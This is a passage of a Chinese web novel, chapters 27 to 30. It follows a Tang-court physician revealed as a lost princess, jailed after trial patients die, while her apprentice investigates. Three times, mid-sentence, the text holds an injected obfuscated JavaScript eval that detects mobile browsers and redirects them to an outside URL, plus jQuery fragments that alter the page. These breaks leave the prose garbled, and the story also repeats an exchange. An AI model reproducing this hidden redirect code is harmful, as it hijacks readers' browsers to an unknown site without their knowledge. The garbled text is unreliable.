“验方使你这……”吴国夫人手忙脚乱地掏出自己的手帕来给冯麓擦拭,可冯麓的鼻血越流越多,根本没有停下的迹象,看着十分可怖。 “来人,唤太医!” “不用麻烦了,太医已经来过了。”冯麓赶忙低头用袖子擦了擦血迹,然后抱歉地说,“对不住娘娘,对不住夫人,民女实在身体不适,改日等民女病体康复了再叙话如何?” 凌嬗把冯麓送出殿外,“那麓麓你赶紧回去吧,记得多盖两层被褥。” “娘娘、夫人,抱歉失陪了。”冯麓生怕露馅,一边捂着鼻子一边大步流星地回绫绮殿。 但她忘记了一件事。此时吴国夫人恰好拾起冯麓匆忙落在地上的手帕,眼神逐渐变得深邃复杂。 “嬗儿你方才叫她什么?” “验方使姓冯名麓,所以我唤她‘麓麓’,有什么不对吗?” “可是‘山麓’的‘麓’?” “您怎的猜得这么准!”凌嬗傻傻笑,还不知此时已经有一个惊天秘密正逐渐浮出水面。 吴国夫人的手不禁攥紧那条手帕,思绪飘向远方。她半眯着眼睛回忆着过往,望着风声呼啸的殿外低声念叨着:“娘娘,她回来了。” “我们的萦儿终于回来了。” 注释及参考文献: [1]齐衰(zī cuī)三年:指穿着粗熟麻布服丧三年,是古代丧服制度“五服”中的第二等,参考自《大唐开元礼》萧嵩等人(唐)。 27.集体死亡 “是,还请夫人还与民女。” 吴国夫人没有归还手帕,而是又追问道:“验方使是否今年才满十八?手帕从何而来?上面的字样和花样都不是验方使绣的吧?” 冯麓认为以吴国夫人的表情和她意有所指的问题,想必她已经知道了真相,那继续隐瞒也只是垂死挣扎,于是诚实地回答:“是。” “我此前竟从未发觉夫人原是神算子,怎的猜得这么准!”凌嬗朝着面前相对而立的两人傻傻地笑,还不知此时已经有一个惊天秘密正逐渐浮出水面。 吴国夫人的手不禁攥紧那条手帕,喉咙像是被利刃割开似的,连同左胸腔那颗老去的心脏都开始剧烈疼痛。 “十一年前,您是由我亲手送出宫外的,跟着这手帕一起留在了终南山东麓的村子里,先皇后为了不留后患才为您改了名字。那时候您还很小,很爱哭,没想到,如今已经好好地长这么大了。” 吴国夫人的双眼噙满了一层厚厚的水花,用手掌轻轻地抚摸着冯麓的脸颊,“先皇后在天之灵,老身能够亲眼目睹安昀公主安然无恙地回宫,死而无憾。” 冯麓一语不发,只有凌嬗对着没头没尾的话摸不着头脑,问:“夫人您在说什么?什么十一年前?这跟安昀公主有什么关系?” “娘娘还不知道吗?”吴国夫人十分疑惑,“验方使便是多年前已经‘故去’的安昀公主。” 凌嬗倒吸一口气,整个人呆愣住,不可置信地盯着那个一直与她朝夕相处的冯麓。 “从未有人对我说过此事。这么大的事你为何瞒我这么久?” “抱歉娘娘,我去年受了伤,所以也是才知道此事不久。” 吴国夫人听到这句话立即紧张起来,用眼睛上下打量着,寻找着可能的伤处,“受伤?公主您受了什么伤?” “说来话长。总之就是我被养我的爹娘打晕了,然后被逼着卖给一个老头当媳妇,好在我及时苏醒逃了出来没有大碍。不过更久远一些的已经记不得了。”冯麓真话掺着假话糊弄着。 “什么!麓麓你怎么不早说,早说我就派人去教训那对恶人夫妻了!” “之前在我心里,做出这些事儿的他们早已不是我的家人,提及任何有关他们之事只会令我徒增烦恼罢了。” “以往老身每年都会去悄悄看您一回,但五年前那对夫妻却突然带着您从终南山麓消失了,我便独自寻了好久。直到三年前先夫突发变故离世,便不得不回到家乡守丧无法继续寻找。那对小人亏他们还拿了我们那么多钱财,竟敢背着先皇后与我做此等恶事,简直不可饶恕!” “夫人消消气嘛,为他们气坏身子不合算呀。您好不容易才回宫,我又忘记了很多事情,索性请二位讲述一些我以前的故事,如何?” 两人正有此意,大声说:“好啊!有好多呢!” 此时此刻,冯麓正在听吴国夫人和凌嬗说起有关她的那些鲜活的童年往事和有趣的坊间传闻。 她脸上配着明媚的笑容,嘴上应着“貌似有印象”的话语,可她心里无比清楚,她不是这个朝代的人,更不是她们口中的那位公主,不论他们说得怎样详细生动她都不会有任何记忆。她们的谈话对于她而言,是无穷尽的遥远,和看不见的陌生。 这个脱离感不是第一次出现在她身上。 此前,她认为自己就是冯麓,冯麓就是自己,完完全全接受了自己的灵魂与这具身体的结合。但从李蘩出现以后,就有一些东西在悄悄改变。 冯麓偶尔会意识到自己其实是在霸占别人的身体,正在做一些原主人可能根本不喜欢做的事情;会思考如果原来的冯麓突然回来,会不会厌恶自己被一个不速之客变成了不想成为的人。 对不起,我占据了本该属于你的人生。冯麓默默地向空气忏悔着。 “安昀,你在想什么?” 回过神来的冯麓眨了眨眼睛,看向开口的凌嬗,应声回答:“想将来的日子该怎么过。” “自然是尽快把你的身份告知陛下,他若是知晓此事一定开心疯了。”凌嬗双手合十,露出期待激动的神情。 “暂时不行。”冯麓利落地否决。 “为何?”吴国夫人和凌嬗异口同声地问。 “验方之事险象环生,若陛下知晓了定不会让我继续下去,可解药实在拖不得。”冯麓深吸一口气,再长长地叹出来,“先让陛下安安稳稳地解除诅咒,再告知他也不迟,反正有大家保护我,我目前应该死不了。” 两人纷纷沉默,静静地听着冯麓淡然阐述自己的观点。 “陛下没有子嗣,旁支又太年幼,若陛下倒下了,不仅内部纷争、江山易主,虎视眈眈的敌国也会趁机起兵。到那时,李氏先辈拼命打下的百年基业就全都毁于一旦了,而我和陛下,就成了千古罪人。 即使来人拿刀架在我脖子上,我也坚决要先制成解药,不论它是为了陛下、百姓还是我自己,我都不可能在解咒上停止脚步。” 只要解药顺利面世,她就也算无愧于所有人以及她自己了,冯麓这么想道。 “我明日便会回雍州,那里还有很多事情没有处理。无法一直陪伴在夫人和娘娘身边,请见谅。”冯麓起身行了个礼说。 冯麓抿着嘴,也起身搂着冯麓缓缓说道:“你决定便好,我相信你的选择一定是对的。” 可第二天的太阳才刚刚升起,凌之韫就穿着满身盔甲叮铃咣啷地来到蓬莱殿门口敲门。 “兄长今日怎的来这么早?军营都不需要训练吗?”凌嬗睡眼惺忪地披着衣服出来。 “验方使不在绫绮殿,她去哪里了?” 凌嬗裹紧了大氅,瑟瑟发抖地说:“在我这儿啊。找她何事?” “今日大理寺卿向陛下禀报,岐州、同州共有十五名参与验方的病患死亡,验方使难辞其咎,陛下要她立即去紫宸殿回话。”凌之韫口中说出的话竟比他的表情还要冰冷刺骨,把凌嬗吓得一动不动。 “岐州与同州因为此事发生了不小的动荡,民怨沸腾难以平息,各大家主纷纷入京报官鸣冤。所以,验方使必须立即前往紫宸殿,请娘娘帮忙唤她出来。” 凌嬗急得快哭出来,下意识帮冯麓辩解道:“兄长,她……” “娘娘!下官此时不是您的兄长,而是大唐的禁军统领,护佑大唐江山与大唐子民是下官之本分。”凌之韫半眯眼睛打断了凌嬗未说完的话。 他轻轻地把自己的刀从刀鞘里抽出来进行示威,他身边的副官也跟着一起做好了战斗准备,一时间蓬莱殿中刀剑的反光比晨光更甚,空气中弥漫着腾腾的杀气。 凌之韫用拒人于千里之外的语气又重复了一遍:“请娘娘唤验方使出来,否则,别怪下官无礼。” 两方僵持不下,冯麓却出现在了凌嬗身后,微笑着说:“凌大人,我们走吧。” 冯麓看凌嬗欲言又止,反而劝慰道:“娘娘不用担心,我相信我自己,试了这么多遍的药,不可能突然致人死亡。” “那请验方使跟我走一趟。”凌之韫伸手作了“请”的手势,可整个人已然与之前面对她时完全不同,貌似已经完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627179|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把她当成了罪大恶极的犯人。 冯麓无所谓,镇定从容地整理了一下自己的衣衫,顺着凌之韫的手势走出蓬莱殿。 天色尚未明朗,紫宸殿就已经站满了人。她已记不清自己是第几次迈入紫宸殿,但她知道,每回进来总没好事。 “参见陛下。” “验方使,岐州、同州共十五名病患皆因你的验方而死,你该作何解释?”一位紫服官员先行问话。 冯麓斜斜瞥了一眼站在她身边的紫服官员,从服饰看应该是高官,但她没有正面回答他,而是直接向李麒汇报。 “陛下,验方此前已经在近百人身上进行过尝验,皆未发生任何重大伤亡,如今突发集体死亡,或许别有缘由,请陛下准允民女进行自查。” “呵,验方使这是拒不承认你的药方有问题了?”紫服官员继续夹枪带棒地说,企图直接向冯麓定罪。 冯麓转身回答:“这位大人,一个人突然死亡有很多种缘由,误服毒药毒食、被人捅杀、意外坠河、意外坠楼,又或是轻生自戕,难道出现这样的情况也要算在我头上吗?” “大理寺在收到府衙案卷的第一时间便介入调查,你说的这些情况一个都没有。可有一项结果是确定的,那就是他们都曾经服用过你的解药,而且高热惊厥的症状完全一致。” “退一万步说,我的验方分了组,有的人根本就没有服用到真正的解药,如何可以断定解药是致人死亡的根源?” “验方使你的狡辩听起来似乎有理有据,但是很可惜,他们确实都分到的是真药组别,揭盲结果已经寄到我手上了,验方使要看看吗?” “也有可能是药材霉变。” “已经查过了,没有。” “大量饮酒,或是服用了与之相悖的药物也会导致高热。” “医师们已经把医案格与日志簿交予大理寺调查,里面记载的药物已经与尚药局的郑大人一一确认过,皆不会造成高热惊厥。” “这位大人,解药是分很多次服用的,他们也许根本就不是同时间服的药,怎么会同时因药死亡?” “我什么时候说过他们是同时死亡?”紫服官员冷笑道,“他们早就死了,只是前几日大理寺才调查完罢了。” “出这么大的问题,选人一定会与我汇报的,可我至今尚未收到任何消息。” “选人?昨日我大理寺出具了调查结果,准备捉拿他们归案,你猜怎么着?”官员眯起眼睛十分可怖的样子,“他们竟然早就自杀了。验方使,你不会是利用他们做出毒药,再杀人灭口吧?” 冯麓瞪大眼睛,不敢相信。 “验方使,你花了大唐多少人力物力,就做出此等毒药来给陛下服用?还是说,谋害陛下本就是你计划中的一环!” 中书侍郎谢磐此时幽幽地开口说道:“验方使,劝你还是从实招来吧,要是真落在这位大理寺卿手下,恐怕你不死也残啊。” 冯麓沉默不语,大脑正在飞速思考着。 高热惊厥本身是儿童常见病,按理说不会在成人身上出现,而且此前所有不良事件中都没有任何“惊厥”的记录。 此次可疑且非预期严重不良事件[1]堪称是验方目前出现的最大危机,如果无法找到真相,不仅验方就此终结,她或许也要因此殒命。 注释及参考文献: [1]可疑且非预期严重不良事件:指现代药物试验中受试者出现的与试验药物可能相关、且未在既往研究或药品说明书中记载的严重不良事件,简称“SUSAR”。 28.真相调查 “验方使怎的不说话?是默认罪责了吗?”大理寺卿言辞尖锐地质问道。 冯麓弓腰行礼,向一直无言看着堂下争执的李麒说道:“还请陛下让民女再去各地调查一番,若确认是我的解药导致的突发死亡,民女心甘情愿伏罪。” 大理寺卿紧咬着不放:“陛下,他这是拖延时间企图逃罪,请立即杖杀此女!” 冯麓转过身子,望向大理寺卿伸出右手发誓,“我敢以师门起誓,我绝不会做出有违天道、毒害人命之事。大人若是不放心我,我可以不亲自去调查,但请让我派一个人去。” “谁?” “我的学徒,芮雪。” “不可,陛下……”大理寺卿还想阻止,但李麒有自己的想法,他盯着冯麓上眺的目线,在幕帘后沉沉地开口。 “七日,七日后朕要看到结果。” “谢陛下。” 争执的最后,冯麓被关进了天牢,在没有调查清楚之前她不能出来活动。她孤零零地坐在又干又硬的垛草上,心绪不由自主地飘向雍州。 芮雪会有危险吗?只凭她可以完成这个艰难的任务吗? “我总说要她相信自己,我也应该无条件相信她才对。”冯麓转念一想,又把自己身上的长褂裹得更紧了些。 天牢常年不见阳光阴冷无比,黑黑的老鼠四处逃窜啃食着死掉的犯人尸体,空气里散发着浓郁的腐臭味,不远处还能听到刑讯的惨叫。 “真像个人间地狱。”冯麓自言自语地吐槽道。 “这样就算是人间地狱了?那你还是想得太简单了啊,验方使。”冯麓被惊到抬起头,狱卒此时猛地敲了一下铁栏杆,把一份餐食放在了地上。 “来吃饭了!” 冯麓凑近闻了一下那份送来的餐食,只是一秒就差点要呕出来。 肉已经馊掉了不说,玉米和米饭也都发了霉,随便来上一口就可能服用致死量的黄曲霉菌。 “这是午饭还是毒药啊?”冯麓把那份饭推得更远了些。 “这里是专门关押高官显贵的高阶天牢,条件已经比关押平民的监牢好多了,他们连肉都没得吃呢!” “来这儿的犯人每日只有一顿饭,这顿不吃就饿到明日吧,但我不能保证明日的餐食会不会比今日更差。”狱卒大摇大摆地离开。 冯麓盯着那份馊饭,深吸一口气后还是挑挑拣拣地吃下去。她为了不让舌尖的味蕾体会太多这糟糕的味道,几乎是嚼都没有嚼就吞下肚。 反正只是生命体征维持餐而已,味道不重要,能量最重要。她一定不能倒在天牢里,她一定要等到芮雪为她平反的那天。 而皇宫里的凌嬗已经急得像热锅上的蚂蚁,叫来了吴国夫人一起想主意。 “我们要不要告诉陛下关于公主的事儿?”凌嬗问。 吴国夫人忧愁得脸上的皱纹都要多几条,摇摇头说:“不可。” “可今日要是不坦白,安昀可能就被坏人害死了!我算看出来了,那些人全都是冲着验方来的,他们就是不希望这个解药被做出来!” 吴国夫人搂住已经急得哭出来的凌嬗,“娘娘,若我们现在把公主的身份披露于世,但凡她的学徒出了意外,又或是没找到帮她翻案的证据,不仅公主会被世人唾弃,更会被有心人抓住把柄,指责这是陛下清除异己的手段。” “怎么会这样?怎么会落到两边都为难的境地?”凌嬗彻底崩溃,她咬着自己的手指,眼泪打湿了吴国夫人的肩膀,痛苦到无法呼吸。 “娘娘请冷静下来。” 凌嬗抽泣得厉害,任凭吴国夫人怎么劝慰,情绪都无法稳定。 “娘娘,我们现在能做的就是让公主在天牢里过得稍微舒服一些。天牢我知道的,就算是康健的人进去了,待上几日出来也免不了伤病不断。” 凌嬗拼命点头,深呼吸平息了一下心情后叫来侍女,拜托她送一些足以保暖的衣服和打点狱卒的银子。 凌嬗还特意去了城外的宗祠,为故去的家人与先辈们续上香火。 她闭起双眼跪在蒲团上,双手合十虔诚地祈祷道:“祈求各位族人保佑我李氏后辈。” 凌嬗离开宗祠,几乎是把长安城内香火旺盛的寺庙全都跑了一回。 “请各位神仙佛祖保佑安昀公主与陛下平安渡过此劫,李凌氏愿一生吃斋念佛、多行善事偿还恩情!” 凌嬗三叩九拜,几乎要把额头磕出血来。最后一次叩首后,她伏在地上长久都没有起身。 “娘娘?”一旁站着的侍女开始有些着急,可凌嬗怎么都不出声回应。 她上前去轻轻拍了拍凌嬗的肩膀,可对方根本一动不动,像昏倒了一般。侍女不免神色慌张起来,连忙问:“娘娘您没事吧?是不是累着了?来人啊,来人——” 此时凌嬗捉住了侍女的手,肩膀和后背止不住地颤动,像一只被雨打落的蝴蝶。侍女怔怔地把凌嬗扶起来,才发现凌嬗已经泪流满面。 她心里在恨,恨自己没有那些过人的才智,也没有兄长的人脉和权力。在重要的人需要帮助时,她除了一遍又一遍地下跪,一次又一次地向上天重复祈求以外,别无他法。 “到底是什么人害得我们变成这样的?”凌嬗紧咬着牙忿忿道。 芮雪也想问这个问题。 到底是什么人,一直站在她们看不见的地方,用着各种各样的手段,只为了阻止这次验方和夺取冯麓的性命。 “我不能让那些人毁掉姐姐的验方,也不能让他们杀了姐姐。那些想借姐姐的名义杀人的,你们也别想逃。”芮雪坐在奔向岐州的车里低声说道。 芮雪和大理寺司直一起出发,可很多路人听说了芮雪是冯麓的学徒纷纷表示拒绝提供任何信息,更有甚者,抄起扫把不分黑白地就要把怒气发泄在芮雪身上。 好像整个岐州都已经把冯麓当成了十恶不赦的恶人,都不由辩解。 “你就不应该说你与验方使有关系。”张司直拍了拍身上被扫把不小心打到的灰尘说道。 芮雪整理了一下被扯乱的发髻,不解地问:“可我若不这么说,他们会如实告知我验方相关事宜吗?” 张司直说:“有时候实话实说是行不通的。” 芮雪咬着下嘴唇思索了好一会儿,才给她想出一个办法来。她敲了敲下一户人家的门,问门口的护院:“大哥,我听闻贵府有人喝了验方使给的解药高热去世,是吗?” 护院一听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636831|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话立即黑了脸,伸手就要把芮雪推下去。 芮雪急忙说:“哎哎哎大哥先听我说完,不知道你们有无耳闻,验方使因为证据不足没有被判刑,很有可能会被无罪释放。我家兄长也因为她的解药高热去世了,实在见不得这种人逍遥法外,所以我想与你府上贵人一起进京再次鸣冤呢!” 这话一出,护院的表情瞬间就缓和许多,甚至还请他们进了前厅喝茶等候。 “你可真能扯。”张司直小声说。 “还得多谢张大人。”芮雪垂眸说道。虽然她也并不想说出这些有违内心想法的话,但为了真相她不得不说。 不见其人先闻其声,辱骂冯麓的话不断靠近前厅,几乎是所有肮脏龌龊的词汇都用上了,简直不堪入耳。 陈夫人脸颊气得通红,恨不得和空气大骂几个回合,“居然给那个贱/人无罪释放?大唐律法是摆设吗!把那么多人都害死了就应该拿命来抵!” 她把一整壶茶水全喝光后才看到了芮雪二人,问:“听福子说,你们家也有人因解药去世?” “是。夫人可愿意与我们一同进京鸣冤?”芮雪说道。 “愿意!当然愿意!我这辈子不见到冯麓在我面前被斩首是不会罢休的!” “好,那夫人请与我细细商讨一下吧,如此一来也可以应对官府的盘问。”芮雪身侧的拳头不由得紧紧攥起,用尽全力维持了原本的忿忿表情,“自然是不能让验方使逃了。” 陈夫人难得遇到同病相怜的人,抓住芮雪就好像抓住了一个垃圾桶,不停地往里面倒苦水。而芮雪为了不引起猜疑,也不停附和,表现出深有共鸣的模样。 趁此机会,芮雪还进了病患的房间。病患刚走半个月,这个房间还保持了原来的陈列,杂乱,且充斥着药味。 她一边听着陈夫人的哭诉,一边观察着这个房间,她发现一张桌子上有好几个圆环状的印记,这些浅色印记在整个房间里显得格外突出。 芮雪指着桌子说:“夫人,您家的这张桌子花纹好奇特,我还是第一次见呢。” “哦,也不是什么花纹,就是经常在那儿放汤罐子,烫出来的罢了。” 汤罐子? 芮雪立即抓住了这个关键,追问:“您家公子也喜欢喝汤?我兄长也喜欢,我经常变着花样给他熬汤呢。” “是啊,在没有吃解药之前,医师就跟我们说得食补,所以我们会经常把滋补的药材放在汤里一起熬煮。不过,验方使说服用解药后,平日喝的汤里就不能放任何别的药材,所以我只放了生姜、肉桂还有大枣了。” “每日都喝?” “是呀,每日都换着菜肴熬汤喝,我当时还觉着这孩子嘴可真刁,现在想给他熬汤也没办法了。”陈夫人叹息着又抹了抹眼泪。 芮雪立即觉得不太对劲。 此后的三日内,芮雪去到了所有病患家里,包括没有死亡的病患。 她按照相似的话术拉近距离套话,最终也得到了同样的结果——几乎所有人家都会往菜肴里加入生姜、花椒、辣椒或者肉桂来增味,那些没有死亡的病患是因为不喜欢辛辣食物所以才没有吃。 当相同点都被串起来,那答案就呼之欲出了。 29.辛辣之刃 “在滋补的解药之外还每日都食用辛辣食物,导致方剂的温和属性变成了燥热属性,体内的津液全被烧干,便容易产生高热不退的现象。” 芮雪一边走在路上一边自言自语道。 张司直跟在芮雪身侧,不断在心里提醒自己来这儿的目的。他名义上是大理寺派来一同查办此事的官员,其实他得到的任务却并非如此。 七年前,凛冬降临长安,他因为贫穷被冻死在家里的前一天,被当年还是中书侍郎的苏炀给救了一命。 从那日以后,他就彻底成了苏炀的人。苏大人要他改头换面,他就隐瞒身份;苏大人要他念书,他就拼命考学;苏大人要他隐瞒关系,他就装作陌生人。 他早就知晓苏炀对于皇位的野心,但让摧枯拉朽的李氏逐渐被分解的过程中,却突然冒出来一个自称可以破解“李氏诅咒”的人,这让苏炀不得不改变策略。 可惜,冯麓是一个命数很硬的人。不管是汤都尉,还是尚文,都无法让她命丧黄泉。 好在他们还留了一个机会在手上。这次集体死亡事件的调查结果来得恰是时候,苏炀派人让孩童编了童谣传播出去,目的就是在民间宣扬冯麓意欲毒杀李氏子孙这件事。 这样一来,李麒就不得不杀冯麓了,除非他要跟所有世家与官员作对。 “所以,这次是不可能让芮雪带着真相回到长安的。明白了吗?”谢磐代替苏炀向张司直传话,“苏大人养你这么多年,是时候替他做点事情了。” “是。”张司直跪在地上回答道。 此时此刻,张司直瞥了一眼因为瞥见真相而兴致勃勃的芮雪,双拳不自觉握紧。 他其实只认识了这个少女不到四天的时间,但是这个少女展现出来的机智、执着、坚韧让他由衷感到钦佩,如果就这么死了,实在太可惜。但无条件服从苏炀是他唯一的选择。 芮雪摸了摸自己空空的肚子,从早上出发调查到现在傍晚,她是滴米未进,之前因为忙碌根本感觉不到饥饿,而现在闲下来后那种饥饿感就铺天盖地似的涌上来了。 “张大人,我们去吃面吧,我请客。” 芮雪突然转头来对上张司直的眼神,把他惊得不知所措,他摸了摸鼻子说:“还是我来吧,怎能让比我小的女子请客?” “姐姐说过,帮过我们的人是一定要报答回去的,张大人此次帮我许多,当然要请客。”芮雪笑着说。因为想到了远在长安受苦受难的冯麓,她的嘴角又渐渐下垂,表情比药汤还苦涩。 “也不知道姐姐怎样了。” “你就那么崇拜冯麓?” 芮雪果断地点点头,说:“姐姐是我要穷极一生追随的人,不仅救了我一命,还让我习得医术,拥有了立身之本。所以我要誓死守护她,守护她想守护的一切。” 两个人各自心怀愁思,一时间都沉默不语。 “两位客官吃点儿吗?”面馆的小二在路边招呼他们,才打破这个僵局。 这家面馆是老字号,顾客不少,不过出餐很快。芮雪嗅觉敏锐,一进店里就闻到了浓郁的辣椒、胡椒和大蒜味。 “岐州怎的这么爱吃这些香辛料啊?” “一方水土养一方人,喜辛辣是这儿的习惯,很难再改了。”张司直回答。 店小二端来两碗冒着热气的牛肉面,说:“面来咯!客官请用!” 芮雪用筷子轻轻搅拌着面条,她垂着眼看着棕褐色的面汤和铺满蒜末、洋葱丝和辣椒酱的浇头,想到了一些关于验方的事情。 他们在验方一开始就告诉了病患不可以使用任何其他药物和辛辣食物,但是这里却包含了认知的差异。 有些植物本身有温补的药性作用,但也同时具备了香气,可以拿来当作菜肴调味的佐料。医师会将生姜、肉桂以及花椒归类为药材,但不懂药理的普通人却完全没有意识到它们是药材,只把它们当成无足轻重的佐料来使用。 而且提到“辛辣食物”,大多数人都会认为只包含了带来“辣味”感受的食物,却没意识到“洋葱”、“大蒜”这些也属于“辛辣食物”的其中一部分。 少量食用并不会造成严重的后果,但地域习惯让这里的人没办法彻底在日常生活中去除辛辣食物的影响,所以日积月累之下,解药的药性被完全改变,过于燥热的药汤就这样将病患引向末路。 芮雪激动地把筷子拍在桌面上,“如此一来所有的事情都说通了。这也是雍州和蒲城没有出现死亡病例的原因,因为这两个地方都没有无辣不欢的饮食习惯。” “什么说通了?”张司直不解。 芮雪直勾勾地盯着对方,眼神中尽显得意与骄傲,“我找到岐州病患集体死亡的原因了!” 张司直愣住了几秒,他没想到这个少女可以这么快就找到真相,这出乎了他的意料。 芮雪连面都没心思吃了,上身前倾问张司直:“张大人,我们可以今晚立即启程去同州吗?陛下给我们的时日实在不多了。” 张司直勉强地笑着回答“可以”,其实他心里在说,留给他的时日也不多了。 夜色朦胧,两人驾着马车前往下一地点,没几个时辰,就到达了同州。 按理说亥时已经夜很深,但一路下去几家客栈都还灯光大亮,响起此起彼伏的欢呼声喝交谈声。 他们随便挑了一家客栈走进去,小二立即从酒局中抽身堆着笑容来问:“两位客官,是打尖儿还是住店啊?” “住店,两间房。”张司直说。 “得嘞!客官请随我上楼吧!” 芮雪一边走一边观察着客栈里的人,这里不仅充斥着响彻云霄的猜拳声,还弥漫着一股浓郁的酒气。 “小二,你们这儿都喜欢这么晚喝酒吗?”芮雪好奇地问。 “客官是外地人吧?那客官有所不知了,咱们同州最出名的就是好酒美酒,这城里的人上至耄耋下至总角,没有不能喝的!所以楼下那些人并非是喜欢晚上喝酒,而是从白天喝到了晚上!”小二自豪地介绍说道。 芮雪心中警铃大作,服药是万万不能饮酒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653723|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这不仅会影响药效更可能导致不良反应。 芮雪立即在房间里翻看了他们的日志簿,奇怪的是他们并未有所记录。难道那些人在服药期间饮酒却故意隐瞒? 都还没等到天亮,芮雪就已经换好了衣服独自出发去了病患家中,可是之前在岐州的那招不管用了,护院说什么都不让她进去。 同时被拦住的还有一个人。 “佟县尉,您请回吧,咱们老爷不会同意您开棺验尸的。” 开棺验尸?芮雪眨了眨眼,看向那个被拦在门外的官员,他身着朴素的官服,鞋子还破了个洞,想是两袖清风的好官吧。 她立即鼓起勇气上前搭话:“佟大人好,想问一下您是否要开棺验尸?” 佟县尉上下打量了芮雪一番,反问:“你又是谁?” “小女是验方使手下的学徒,这次是与大理寺司直一同来同州调查验方死亡一事的。敢问佟大人,小女可以和您合作吗?” “验方使?”听到这个名字后佟县尉瞬间皱起眉头,芮雪心想不好,这人怕不是也是讨厌姐姐的,或许求错人了。 佟县尉倒是没有展现出任何厌恶的姿态,而是问:“她惹出的麻烦,为何不自己来?” 芮雪抿了抿嘴,小声地回答:“验方使被陛下关押在天牢,若没有查明真相无法释放。” “真相?要怎样才能算真相?若是真查明真相了,她就会没事吗?说不准吧。” 佟县尉这句模棱两可的话让芮雪摸不着头脑,不过她不想在这里浪费时间,于是说:“若佟大人不愿与小女合作探明真相,那小女便自行调查了,告辞。” 在芮雪转身的时候,佟县尉开口了:“谁说我不愿意了?”芮雪惊喜地转身,确认道:“真的?” “去年冬日,我长姐就是因为喝了验方使的解药才病症减轻,一直安然无恙活到现在。” 佟县尉笑着说:“我愿意相信她这个解药没有问题,所以我也愿意同你合作。” 找到援兵或许会简单许多,更何况这援兵还是个县尉。佟县尉有一手绝活,那就是验尸。据他所说,这手艺是他小时候跟邻居师傅学的,他师傅脾气虽怪但却靠验尸帮助官府侦破了十几起命案。 “您师傅也太厉害了吧!”芮雪还是第一次听说仵作的故事,觉得十分新奇。 佟县尉笑道:“这算什么,我师傅的师傅是狄公的助手,帮助狄公成功断案上百起呢。” 一来一往的交谈中,佟县尉告诉芮雪,他目前还没有成功游说任何一家愿意开棺验尸。 “佟大人,咱们非得验尸吗?还有别的选择吗?” 佟县尉摇摇头,叹息道:“证物可能作假,活人可能说谎,但是尸体不会。如今,验尸是唯一的出路了。” 芮雪突然站定,抬起头坚定地望着佟县尉,用一种不属于她年龄的成熟稳重说:“我会成功游说家主的,您就只负责验尸即可。” 佟县尉还想说些什么,但眼前矮他一头半的少女已经快步走向道路的尽头。 30.寻找代言 “贵府少爷的死另有缘由,您难道不想知道事情的真相吗?” “只要您愿意开棺验尸,王公子的死因就水落石出了!” 随着一阵巨大的声音,又一扇大门在擦过芮雪的鼻尖后狠狠关上,大门合上舞起的灰尘被飞扬到芮雪的睫毛上,她低落地用手拂去,转身离开后长长地叹了口气。 根本不会有人相信冯麓,而开棺验尸更是天方夜谭。调查再次陷入僵局,可李麒给的时间只剩下两天。 芮雪靠在府门前的一棵樟树上,仰望着这片灰蒙蒙的天空。她不禁想到远在长安的冯麓。 “姐姐,如果是你,会怎样做?” “姐姐,我真的可以完成这个任务吗?” 芮雪一点点滑落到地上,她窝在树下,抱着自己的膝盖深深思考着对策。既然冯麓把这件性命攸关的事情交给了她,她就不能失败。 “他们不相信我,那就找一个他们愿意相信的人。”芮雪自言自语道,“这里的人最信任谁呢?” 同州水汽很多,早晨就风沙渐起,恐怕有大雨倾盆之势。 有个身穿深绯色官服的男子正在和街坊们交谈,百姓们还招招手想让他进屋。 这是谁? 芮雪小心翼翼地跟在他身后,从他们的对话中得知,这个男子是同州别驾朱贤,正挨家挨户提醒着暴风雨降至要关好门窗,不论是高门贵户还是贫农人家,他都亲自上前告知气象预警。 “孙大娘,您那被盗的麦子找回来了,请尽快去别驾府领取。” 孙大娘笑得皱纹都多了几条,亲切地握住朱贤的手致谢道:“太感谢朱大人了,就知道出了事儿找朱大人准没错!” 朱贤淡淡地笑了笑,说:“这是为官之本,您不必如此客气。风雨欲来,今日多买点儿吃食,此后三日尽量不要出门了。” 下一家是今日芮雪刚拜访过的乔家,乔老爷是同州第一富商,与同州刺史关系密切,而乔夫人的母亲是高宗的孙女,是正统的李氏宗室女。 可朱贤与他们交谈的语气也并没有任何谄媚之气,只当他们是寻常老百姓。 “请转告乔老爷,此后三日气候突变,尽量不要出门。” 府内传来乔老爷浑厚的笑声,他大步走到门边作礼说道:“朱大人,我还没有好好感谢您呢,自从您下令按销售额交付榷酒钱[1]后,虽然我们乔家要交付的榷酒钱多了许多,但是生意却不减反增,朱大人您真是奇了!” 